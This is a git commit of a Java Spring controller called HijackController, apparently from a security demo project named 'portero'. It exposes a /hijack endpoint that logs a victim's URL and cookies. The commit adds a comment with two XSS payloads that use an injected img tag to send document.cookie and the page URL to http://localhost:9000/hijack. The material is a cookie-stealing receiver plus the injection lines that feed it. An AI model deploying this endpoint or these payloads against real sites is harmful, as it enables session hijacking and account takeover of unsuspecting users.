<commit_before>package portero.web.controllers;

import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

import static java.lang.String.format;

@Controller
public class HijackController {

    private static Log log = LogFactory.getLog(HijackController.class);

    @RequestMapping("/hijack")
    @ResponseBody
    public void hijack(@RequestParam(value="url", required=false) String url,
                         @RequestParam(value="cookies", required=false) String cookies, Model model) {
        log.error(format("url=%s cookies=%s", url, cookies));
    }
}<commit_msg>Added JavaDoc so I would remember what the attack urls look like.<commit_after>package portero.web.controllers;

import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

import static java.lang.String.format;

@Controller
public class HijackController {

    private static Log log = LogFactory.getLog(HijackController.class);

    /**
     * Call from a XSS vulnerability using one of the following techniques.
     * - document.write("<img src='http://localhost:9000/hijack?url=" + encodeURIComponent(window.location.href) + "&cookies=" + encodeURIComponent(document.cookie) + "' />");
     * - document.createElement("img").src="http://localhost:9000/hijack?url=" + encodeURIComponent(window.location.href) + "&cookies=" + encodeURIComponent(document.cookie) + "' />"
     */
    @RequestMapping("/hijack")
    @ResponseBody
    public void hijack(@RequestParam(value="url", required=false) String url,
                         @RequestParam(value="cookies", required=false) String cookies, Model model) {
        log.error(format("url=%s cookies=%s", url, cookies));
    }
}
{'fraction_non_alphanumeric': 0.12416851441241686, 'fraction_numerical': 0.003547671840354767, 'mean_word_length': 4.7846153846153845, 'pattern_counts': {'":': 0, '<': 4, '<?xml version=': 0, '>': 5, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '2273895', 'n_tokens_mistral': 628, 'n_tokens_neox': 625, 'n_words': 123}